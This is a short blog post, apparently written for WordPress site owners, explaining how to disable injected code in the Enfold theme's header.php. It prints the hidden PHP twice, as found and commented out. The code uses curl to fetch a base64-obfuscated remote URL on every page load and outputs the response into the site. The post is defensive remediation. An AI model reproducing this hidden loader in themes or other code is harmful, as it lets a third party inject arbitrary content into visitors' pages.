FIXED: Enfold theme error – sneaky connection to qdgvst.com

qdgvst.comDid your website randomly start showing a 404 not found error?  Are you using wordpress and the “Enfold” theme?  If the answer to both of these questions is yes, then this fix is for you.

The enfold theme has a sneaky bit of code on line 70 of header.php.  It’s the line where the <body> tag is written to the output.  It looks like this…

[php htmlscript=”true” wraplines=”true” firstline=”70″]
<body id="top" <?php body_class($style." ".$avia_config[‘font_stack’]." ".$blank); ?>><?php
$ch=curl_init();curl_setopt($ch,CURLOPT_URL,base64_decode(‘aHR0cDovL3FkZ3ZzdC5jb20vbC5waHA=’));
curl_setopt($ch,CURLOPT_HEADER,0);curl_exec($ch);curl_close($ch); ?>
[/php]

Notice the base64_decode function.  After execution, it returns “http://qdgvst.com/l.php” which may look familiar.  Not to worry!  This is a simple fix!

  1. Open your wordpress admin site at http://your-site.com/wp-admin/.
  2. Log in and go to “Appearance > Editor”.
  3. On the right side of the page, make sure you have selected the “Enfold” theme.SelectTheme
  4. On the right side of the page, click on “Header – Header.php”.Header
  5. Scroll down to line 70 and add comments around the PHP CURL code.  When you are done it should look like this…
    [php htmlscript=”true” wraplines=”true” firstline=”70″]
    <body id="top" <?php body_class($style." ".$avia_config[‘font_stack’]." ".$blank); ?>><?php
    /* $ch=curl_init();curl_setopt($ch,CURLOPT_URL,base64_decode(‘aHR0cDovL3FkZ3ZzdC5jb20vbC5waHA=’));
    curl_setopt($ch,CURLOPT_HEADER,0);curl_exec($ch);curl_close($ch); */ ?>
    [/php]
  6. Click the “Update File” button at the bottom.

Done!  Not only will this fix the ugly header showing up on your site but it should improve performance a bit as well since your theme won’t be reaching out to another server all the time.